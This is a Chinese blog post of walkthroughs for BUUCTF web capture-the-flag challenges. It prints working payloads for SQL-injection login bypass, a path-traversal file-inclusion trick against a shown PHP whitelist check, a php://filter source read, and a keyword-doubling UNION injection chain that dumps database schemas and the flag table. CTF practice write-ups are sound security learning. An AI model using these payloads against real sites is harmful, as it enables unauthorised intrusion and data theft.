跳到主要内容

BUUCTF-web刷题

BUUCTF平台的web题,持续刷。

[极客大挑战 2019]EasySQL

  • 题目:

img

  • 有登录框,第一联想到利用sql注入,直接尝试万能密码 ' or '1'='1登录

img

[HCTF 2018]WarmUp

  • 一进去就只有一个滑稽脸,直接查看源码,得到source.php,进去得到源码

img

  • 源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

1、代码审计,发现还有一个hint.php,进去后得到 flag not here, and flag in ffffllllaaaagggg,那也就是flag在ffffllllaaaagggg里,但是没有具体说明是在那个目录下,因此构造时候需要依次通过…/…/构造尝试,去查看到底是几层的根目录

2、代码审计,发现是白名单验证,文件包含只能包含source.php和hint.php

3、根据后面的if条件得知,file不能为空,必须为字符串,还要通过checkfile()函数的检查,才能包含。

4、其中检查共有三次,第三次要经过url解码

5、payload:file=source.php%253f/../../../../../../ffffllllaaaagggg

img

[极客大挑战 2019]Havefun

  • 查看源码

img

  • 根据源码很容易得到payload:?cat=dog

img

[ACTF2020 新生赛]Include

  • 一上来直接给了一个tips超链接,然后进去得到

img

观察url发现有flag.php,结合题目判断这题是php伪协议

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

把得到的base64字符串进行解码

img

[ACTF2020 新生赛]Exec

  • 发现是一个ping的命令执行,测试一下其他命令是否也能执行,是成功的

img

  • 那就直接抓取flag

img

[极客大挑战 2019]BabySQL

  • 题目:

img

  • 尝试用admin登录失败

img

  • 进行sql注入
  • payload:?username=1' order by 3&password=admin

img

  • 可以看到order的or和by均被过滤掉了
  • 尝试联合注入

img

同样union和select也都被过滤掉了

利用双写绕过,发现有3个字段

  • payload:?username=' oorrder bbyy 4--+&password=admin

img

  • 回显位为第二个和第三个字段
  • payload:?username=' ununionion seselectlect 1,2,3--+&password=admin

img

  • 查所有库
  • payload:?username=' ununionion seselectlect 1,2,(seselectlect group_concat(schema_name) frfromom infoorrmation_schema.schemata)--+&password=admin

img

  • 查ctf库中的所有表
  • payload:?username=' ununionion seselectlect 1,2,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf') --+&password=admin

img

  • 查Flag表中的所有字段
  • payload:?username=' ununionion seselectlect 1,2,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='Flag') --+&password=admin

img

  • 查看flag字段内的内容
  • paylaod:?username=' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag--+&password=admin

img